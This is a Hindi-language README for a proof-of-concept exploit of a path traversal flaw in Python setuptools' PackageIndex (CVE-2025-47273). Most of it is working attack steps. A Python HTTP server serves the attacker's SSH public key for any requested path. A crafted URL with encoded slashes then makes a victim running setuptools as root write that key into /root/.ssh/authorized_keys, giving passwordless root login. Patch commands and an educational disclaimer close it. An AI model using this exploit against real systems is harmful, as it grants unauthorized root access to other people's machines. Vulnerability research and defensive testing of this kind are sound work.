
CVE-2025-47273 — setuptools पाथ ट्रैवर्सल PoC
Python setuptools < 78.1.1 में पथ ट्रैवर्सल भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट।
PackageIndex घटक के _download_url फ़ंक्शन का दुरुपयोग करके, एक हमलावर फ़ाइल सिस्टम पर किसी भी स्थान पर मनमानी फ़ाइलें लिख सकता है — setuptools चलाने वाली प्रक्रिया के विशेषाधिकारों के साथ।
| क्षेत्र | विवरण |
|---|
| 🎯 लक्ष्य | Python setuptools < 78.1.1 |
| 🐛 बग वर्ग | पथ ट्रैवर्सल (CWE-22) |
| 💥 प्रभाव | मनमानी फ़ाइल लेखन |
| 📍 हमला वेक्टर | दुर्भावनापूर्ण पैकेज इंडेक्स URL |
| 🔍 मूल कारण | os.path.join() tmpdir को छोड़ देता है जब दूसरा तर्क / से शुरू होता है |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex को उपयोगकर्ता-नियंत्रित URL के साथ कॉल करती है# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
यह सर्वर किसी भी GET अनुरोध पर आपकी सार्वजनिक कुंजी के साथ प्रतिक्रिया करता है — पथ की परवाह किए बिना।
setuptools पथ /USER/.ssh/authorized_keys का अनुरोध करेगा लेकिन आपकी कुंजी सामग्री प्राप्त करेगा।
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
कोई पासवर्ड नहीं। सीधा रूट शेल। 🔑
संस्करण 78.1.1 इस समस्या को ठीक करता है।
| पैकेज प्रबंधक | कमांड |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ मैन्युअल | setuptools releases |
यह प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान किया गया है।